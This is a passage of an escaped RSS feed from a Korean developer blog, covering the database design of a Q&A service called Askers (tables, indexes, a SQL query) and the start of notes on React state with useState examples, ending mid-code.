src=&quot;https://blog.kakaocdn.net/dn/OBasG/btsIZWufcvC/Hz0IpAdf3aKPTnwNZKmq31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOBasG%2FbtsIZWufcvC%2FHz0IpAdf3aKPTnwNZKmq31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2556&quot; height=&quot;1628&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;Askers 유저 프로필 페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;질문 전송 기능&lt;/li&gt;
&lt;li&gt;답변 내역 조회 기능&lt;/li&gt;
&lt;li&gt;특정 답변 취소 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;유저의 프로필 화면에서 해당 유저에게 질문을 보낼 수 있다. v1에서는 익명으로 보내는 질문만 우선 지원한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;답변 유저 본인은 특정 답변을 취소할 수 있다. 답변을 취소하면, 질문은 답변을 하지 않은 상태로 돌아가고 받은 질문 목록에서 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;받은 질문 관련 기능&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cl9rNw/btsI0K0GI3E/XhGugEKULsy8tipSSpBxy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cl9rNw/btsI0K0GI3E/XhGugEKULsy8tipSSpBxy0/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;2544&quot; data-origin-height=&quot;1618&quot; data-filename=&quot;스크린샷 2024-08-10 오후 4.36.08.png&quot; style=&quot;width: 50.4214%; margin-right: 10px;&quot; data-widthpercent=&quot;51.01&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cl9rNw/btsI0K0GI3E/XhGugEKULsy8tipSSpBxy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcl9rNw%2FbtsI0K0GI3E%2FXhGugEKULsy8tipSSpBxy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2544&quot; height=&quot;1618&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yOO2H/btsIZ5dthkL/NhHgDmGKaCJGtST2GYrPz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yOO2H/btsIZ5dthkL/NhHgDmGKaCJGtST2GYrPz0/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;2473&quot; data-origin-height=&quot;1638&quot; data-filename=&quot;edited_스크린샷 2024-08-10 오후 4.36.28.png&quot; data-widthpercent=&quot;48.99&quot; style=&quot;width: 48.4158%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yOO2H/btsIZ5dthkL/NhHgDmGKaCJGtST2GYrPz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyOO2H%2FbtsIZ5dthkL%2FNhHgDmGKaCJGtST2GYrPz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2473&quot; height=&quot;1638&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;받은 질문 목록 조회&lt;/li&gt;
&lt;li&gt;특정 질문 삭제&lt;/li&gt;
&lt;li&gt;답변 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;받은 질문 관련 기능은 로그인한 유저만 접근이 가능하다. 해당 페이지는 로그인하지 않았거나, 해당 유저 본인이 아닌 경우, 페이지 접근이 불가하고 서버 측으로 보내는 요청 역시 거부된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;답변 상세 조회 기능&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-08-10 오후 4.37.20.png&quot; data-origin-width=&quot;2126&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MPkOG/btsI1GDc4Ag/skKECvzEv91QRkEnw6bp1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MPkOG/btsI1GDc4Ag/skKECvzEv91QRkEnw6bp1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MPkOG/btsI1GDc4Ag/skKECvzEv91QRkEnw6bp1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMPkOG%2FbtsI1GDc4Ag%2FskKECvzEv91QRkEnw6bp1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2126&quot; height=&quot;572&quot; data-filename=&quot;스크린샷 2024-08-10 오후 4.37.20.png&quot; data-origin-width=&quot;2126&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 답변 상세 조회&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;외부에 답변을 공유하는 경우 이 페이지 링크를 공유하게 되며, Open Graph가 적용되어 있다. 트위터, 카카오톡 등으로 링크를 공유할 때 미리보기 이미지를 지원한다. &lt;a href=&quot;https://oxahex.tistory.com/61&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;[Askers] Open Graph 적용&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DB&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Askers(v1) 서비스를 구성하는 데이터를 정의하고, 각 데이터 간의 관계를 정의했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_edited_edited_스크린샷 2024-08-11 오후 1.40.45.png&quot; data-origin-width=&quot;2225&quot; data-origin-height=&quot;1095&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btu5XB/btsI1feYaxp/ZRNrRFrPx1Ezxmh9DLnhw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btu5XB/btsI1feYaxp/ZRNrRFrPx1Ezxmh9DLnhw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btu5XB/btsI1feYaxp/ZRNrRFrPx1Ezxmh9DLnhw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtu5XB%2FbtsI1feYaxp%2FZRNrRFrPx1Ezxmh9DLnhw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2225&quot; height=&quot;1095&quot; data-filename=&quot;edited_edited_edited_스크린샷 2024-08-11 오후 1.40.45.png&quot; data-origin-width=&quot;2225&quot; data-origin-height=&quot;1095&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;테이블&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;질문(ask) 데이터는 회원(user) 데이터 없이 존재할 수 있다. 따라서 `author_id`에 `NULL`이 올 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;답변(answer) 데이터는 질문(ask) 데이터 없이 존재할 수 없다. 반드시 질문 데이터를 가지고 있어야 한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;전송(dispatch) 데이터는 질문과 질문 수신자에 대한 정보를 의미한다. 즉, 질문이 누구에게 언제 전송되었는지 기록한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;질문에 대한 정보와, 수신자에 대한 정보를 분리해서 관리하기 위해 전송 테이블을 추가로 정의했다. 추가적인 이점으로는 만약 이후 버전에서 에서 하나의 질문을 여러 유저에게 보낼 수 있도록 요구사항이 변경되는 경우 유연하게 대처할 수 있다. 하나의 질문을 여러 유저에게 보낸다면 동일한 `ask_id`에 대해 여러 `target_user_id`가 있을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인덱스&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;추가적으로 서비스 내에서 빈번하게 호출되는 쿼리를 고려해 인덱스를 생성했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;서비스 내에서 가장 빈번하게 호출되는 쿼리는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 유저가 받은 질문 내역 중, 답변하지 않은 질문만 조회&lt;/li&gt;
&lt;li&gt;특정 유저의 답변 내역 조회(답변 조회 시 질문 테이블 JOIN)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;우선 특정 유저가 받은 질문 내역 중 답변하지 않은 질문만 조회하는 경우는 유저가 받은 질문 목록을 요청하는 경우다. 이 경우 쿼리는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1723357700000&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT a.*
FROM ask a
JOIN dispatch d ON a.ask_id = d.ask_id
LEFT JOIN answer ans ON a.ask_id = ans.ask_id AND d.target_user_id = ans.author_id
WHERE d.target_user_id = ? AND ans.ask_id is NULL;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;질문 목록을 조회하되 dispatch 테이블과 JOIN해 `target_user_id`를 기반으로 조회하므로 `target_user_id` 컬럼에 인덱스를 추가했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;특정 유저의 답변 내역을 조회하는 경우, answer 테이블의 FK인 `author_id`를 기준으로 조회하므로 `author_id` 컬럼에 인덱스를 추가했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;또, 다음 유니크 제약 조건을 추가했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;유저는 동일한 질문을 여러 개 받을 수 없다. &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;dispatch 테이블의 `target_user_id`와 `ask_id` 조합은 유니크해야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;하나의 질문에 특정 유저가 여러 번 답변할 수 없다. answer 테이블의 `author_id`와 `ask_id` 조합은 유니크해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Projects/Askers</category>
      <category>askers</category>
      <category>Database</category>
      <author>장일영</author>
      <guid isPermaLink="true">https://oxahex.tistory.com/62</guid>
      <comments>https://oxahex.tistory.com/62#entry62comment</comments>
      <pubDate>Sun, 11 Aug 2024 15:39:48 +0900</pubDate>
    </item>
    <item>
      <title>Lean React:  Adding Interactivity</title>
      <link>https://oxahex.tistory.com/60</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;State: A Component's Memory&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;프론트엔드 개발에서 상태(state)는 사용자 인터페이스를 이루는 특정 시점의 데이터를 말한다. 따라서 상태는 동적으로 변화하는 데이터다. 사용자와의 상호작용이나 네트워크 응답과 같은 이벤트에 따라 변경되므로 UI의 렌더링에 직접적인 영향을 미친다. 상태에 따라 UI는 표시되거나 숨겨질 수 있다. 또 사용자와의 상호작용 중 현재 시점의 맥락을 의미하기도 한다. 입력값, 목록에서 선택된 항목, 여러 단계의 프로세스가 있는 경우 현재 위치한 페이지를 기억할 필요가 있다. 이는 모두 '상태'다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;React 컴포넌트의 상태란 일종의 컴포넌트 별 메모리다. 각각의 컴포넌트가 기억해야 하는 정보를 의미한다.&lt;/p&gt;
&lt;pre id=&quot;code_1717143951162&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function App(): React.ReactElement {
  let index: number = 0;

  function handleClick(): void {
    index = index + 1;
  }

  let sculpture: SculptureType = sculptureList[index];
  return (
    &amp;lt;&amp;gt;
      &amp;lt;button onClick={handleClick}&amp;gt;Next&amp;lt;/button&amp;gt;
      &amp;lt;h2&amp;gt;
        &amp;lt;i&amp;gt;{sculpture.name} &amp;lt;/i&amp;gt;
        by {sculpture.artist}
      &amp;lt;/h2&amp;gt;
      &amp;lt;h3&amp;gt;
        ({index + 1} of {sculptureList.length})
      &amp;lt;/h3&amp;gt;
      &amp;lt;img src={sculpture.url} alt={sculpture.alt} /&amp;gt;
      &amp;lt;p&amp;gt;{sculpture.description}&amp;lt;/p&amp;gt;
    &amp;lt;/&amp;gt;
  );
}

export default App;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Next 버튼을 클릭했을 때 `index` 값을 증가시켜 `sculptureList` 배열의 각 인덱스에 접근하려 한다. 그러나 이 코드는 정상동작 하지 않는다. 그 이유는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지역 변수는 렌더링 간에 유지되지 않는다. React가 이 컴포넌트를 재렌더링 할 때 지역변수의 변경 사항은 고려하지 않고 처음부터 렌더링 한다.&lt;/li&gt;
&lt;li&gt;지역 변수를 변경해도 렌더링이 트리거되지 않는다. 새로운 데이터로 컴포넌트를 다시 렌더링해야 한다고 인식하지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`button` 요소에 `onClick`으로 함수가 적용되어 있기 때문에 `index`의 값은 버튼 클릭 시마다 업데이트 된다. 그러나 이 작업이 컴포넌트를 다시 렌더링하는 트리거 역할을 하지는 않는다. React가 감지하는 것은 상태(state)나 props다. 즉 `index`는 state나 props로 관리되고 있지 않기 때문에 React는 이를 변경된 것으로 감지하지 못한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`index`를 props로 받지 않고, 컴포넌트 내부의 상태(state)로 관리하려면 `useState`로 렌더링 간 데이터를 유지하고, 변수를 업데이트해야 한다. `useState`는 함수형 컴포넌트에서 상태를 추가하고 관리하는 매커니즘이다.&lt;/p&gt;
&lt;pre id=&quot;code_1717145009079&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function App(): React.ReactElement {
  const [index, setIndex] = useState&amp;lt;number&amp;gt;(0);

  function handleClick(): void {
    setIndex(index + 1);
  }
  
  // ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`useState` 훅을 가진 컴포넌트를 두 번 렌더링한다면 각 컴포넌트는 완전히 격리된 state를 가진다. 따라서 한 컴포넌트의 변경(리렌더링)이 다른 컴포넌드에 영향을 미치지 않는다. props와 달리 상위 컴포넌트는 하위 컴포넌트의 state를 알 수 없다. 즉 상위 컴포넌트는 하위 컴포넌트의 state를 변경할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Render and Commit&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;컴포넌트를 화면에 표시하려면 React에서 렌더링 과정을 거쳐야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;컴포넌트 렌더링이 일어나는 데에는 두 가지 이유가 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컴포넌트의 초기 렌더링인 경우&lt;/li&gt;
&lt;li&gt;컴포넌트의 state가 업데이트 된 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;초기 렌더링의 경우 앱 시작 시 다음 코드가 호출되는 것을 의미한다.&lt;/p&gt;
&lt;pre id=&quot;code_1717146748283&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { createRoot } from 'react-dom/client';

const root = createRoot(document.getElementById('root'))
root.render(&amp;lt;Image /&amp;gt;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;초기 렌더링 이후에는 컴포넌트의 state가 업데이트 될 때 렌더링이 트리거 된다. 렌더링은 결국 React에서 컴포넌트를 호출하는 것이다. 초기 렌더링을 할 때 React는 필요한 DOM 노드를 생성하고, 리렌더링을 할 때에는 이전 렌더링 이후 변경된 속성을 계산한다. 커밋 전까지는 아무런 작업도 수행하지 않는다. 렌더링 간 차이가 있는 경우에만 DOM 노드를 변경한다(커밋). 렌더링 결과가 이전과 같으면 React는 DOM을 건드리지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;State as a Snapshot&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;컴포넌트 state는 스냅샷처럼 동작한다. state는 컴포넌트의 메모리로 함수가 반환된 후 사라지는 일반 변수와는 다르게 동작한다. React가 컴포넌트를 호출하면(렌더링하면) 그 렌더링에 대한 state 스냅샷을 제공한다. 따라서 컴포넌트는 해당 렌더링의 state값을 사용해 계산된 새로운 props와 이벤트 핸들러가 포함된 UI 스냅샷을 JSX에 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;아래 코드는 버튼을 한 번 클릭하면 `setNumber()` 함수가 3번 호출된다.&lt;/p&gt;
&lt;pre id=&quot;code_1717147279647&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export default function Counter() {
  const [number, setNumber] = useState(0);

  return (
    &amp;lt;&amp;gt;
      &amp;lt;h1&amp;gt;{number}&amp;lt;/h1&amp;gt;
      &amp;lt;button
        onClick={() =&amp;gt; {
          setNumber(number + 1);
          setNumber(number + 1);
          setNumber(number + 1);
        }}
      &amp;gt;
        +3
      &amp;lt;/button&amp;gt;
    &amp;lt;/&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`setNumber()` 함수가 3번 호출되기 때문에 버튼을 한 번 클릭할 때 `number`가 3씩 증가할 것 같지만 클릭 당 한 번만 증가한다. React는 상태 업데이트를 비동기적으로 처리한다. `setNumber()` 함수 자체는 여러 번 호출되지만 이전에 호출된 `setNumber()`의 결과가 즉시 반영(동기적으로 처리)되지 않고 모든 상태 업데이트는 한 번의 렌더링 주기에서 처리된다. 따라서 `number` 상태는 한 번만 증가한다. 다르게 이야기하면 &lt;b&gt;이전 상태를 기반으로 새로운 상태를 계산&lt;/b&gt;하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;최초 렌더링 시 `number`의 값은 0이다. 함수가 3번 호출되더라도 각 함수 호출 시 `number`의 값은 0이므로 `number`는 1로 3번 설정된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;만약 아래와 같이 버튼 클릭 시 `number`에 5를 더하고, 동시에 `alert()`을 실행한다면 경고창에 뜨는 `number`의 값은 0일 것이다.&lt;/p&gt;
&lt;pre id=&quot;code_1717147864539&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export default function Counter() {
  const [number, setNumber] = useState(0);

  return (
    &amp;lt;&amp;gt;
      &amp;lt;h1&amp;gt;{number}&amp;lt;/h1&amp;gt;
      &amp;lt;button
        onClick={() =&amp;gt; {
          setNumber(number + 5);
          alert(number);
        }}
      &amp;gt;
        +5
      &amp;lt;/button&amp;gt;
    &amp;lt;/&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`alert()` 함수에 타이머를 설정해 컴포넌트가 렌더링 된 다음에 실행되도록 하더라도 경고창에 표시되는 `number`의 값은 여전히 0이다. 실제로는 화면에 5가 먼저 렌더링 되더라도, 시간차를 두고 동작한 `alert()`은 여전히 기존의 상태값을 기반으로 동작한다. 즉 스냅샷을 찍을 때 고정된 값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;렌더링 도중 state가 변경되더라도 렌더링 시점의 state 값을 기반으로 동작한다. 그렇다면 다시 렌더링하기 전에 최신 state를 반영하려면 어떻게 해야 할까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Queueing a Series of State Updates&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;state를 설정하면 다음 렌더링이 큐에 들어간다. 그러나 다음 렌더링을 큐에 넣기 전에 state 값에 대해 여러 작업을 수행하고 싶은 경우 어떻게 할 수 있을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;React는 기본적으로 state를 업데이트 하기 전에 이벤트 핸들러의 모든 코드가 실행될 때까지 대기한다. 따라서 컴포넌트 리렌더링은 `setNumber()` 함수 호출이 완료된 이후에 일어난다. 그러면 너무 많은 리렌더링이 발생하는 것을 막을 수 있다. 하지만 다르게 이야기하면 이는 이벤트 핸들러와 그 안의 모든 함수가 실행 완료되기 전까지 UI가 업데이트 되지 않는다는 것이기도 하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;버튼 클릭 시 `onClick` 이벤트로 `setNumber(state + 1)`을 3번 호출하는 대신 `setNumber(n =&amp;gt; n + 1)`을 3번 호출하도록 변경하면 `number`는 3씩 증가한다. 이는 단순히 state 값을 전달하는 것이 아니라 함수를 큐에 추가하는 것이다. 이벤트 핸들러의 다른 코드가 실행된 이후 `n =&amp;gt; n + 1` 함수가 실행된다. 렌더링 중 React는 큐를 순회하고 최종적으로 업데이트 된 state를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;아래와 같이 버튼 클릭 시 `setNumber(number + 1)`, `setNumber(n =&amp;gt; n + 1)`이 호출되는 경우를 생각해볼 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1717149093937&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export default function Counter() {
  const [number, setNumber] = useState(0);

  return (
    &amp;lt;&amp;gt;
      &amp;lt;h1&amp;gt;{number}&amp;lt;/h1&amp;gt;
      &amp;lt;button
        onClick={() =&amp;gt; {
          setNumber(number + 5);
          setNumber((n) =&amp;gt; n + 1);
        }}
      &amp;gt;
        +5
      &amp;lt;/button&amp;gt;
    &amp;lt;/&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`setNumber(state + 5)`가 실행될 때 `number`는 0이다. 큐에 state를 5로 변경한다. `setNumber(n =&amp;gt; n + 1)` 함수가 큐에 추가되고, 렌더링을 하는 동안 큐를 순회한다. state는 5로 변경되고, 이후 `n =&amp;gt; n + 1`이 실행되며 최종적으로 `number`는 6이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;렌더링 중에 큐를 순회하므로 업데이터 함수는 렌더링 중에 실행된다. 따라서 업데이터 함수는 항상 순수해야 한다. 업데이터 함수 내에서 state를 변경하는 것은 권장되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;아래 컴포넌트는 Buy 버튼을 누를 때마다 Pending 카운터가 증가한다. 3초가 지나면 Pending 카운터가 감소하고 Completed 카운터가 증가해야 한다. 그러나 Buy 버튼을 누르면 Pending 카운터가 -1이 되고, 빠르게 두 번 누르면 두 카운터 모두 예측 불가능한 값을 반환한다.&lt;/p&gt;
&lt;pre id=&quot;code_1717149967944&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export default function RequestTracker() {
  const [pending, setPending] = useState&amp;lt;number&amp;gt;(0);
  const [completed, setCompleted] = useState&amp;lt;number&amp;gt;(0);

  async function handleClick() {
    setPending(pending + 1);
    await delay(3000);
    setPending(pending - 1);
    setCompleted(completed + 1);
  }

  return (
    &amp;lt;&amp;gt;
      &amp;lt;h3&amp;gt;Pending: {pending}&amp;lt;/h3&amp;gt;
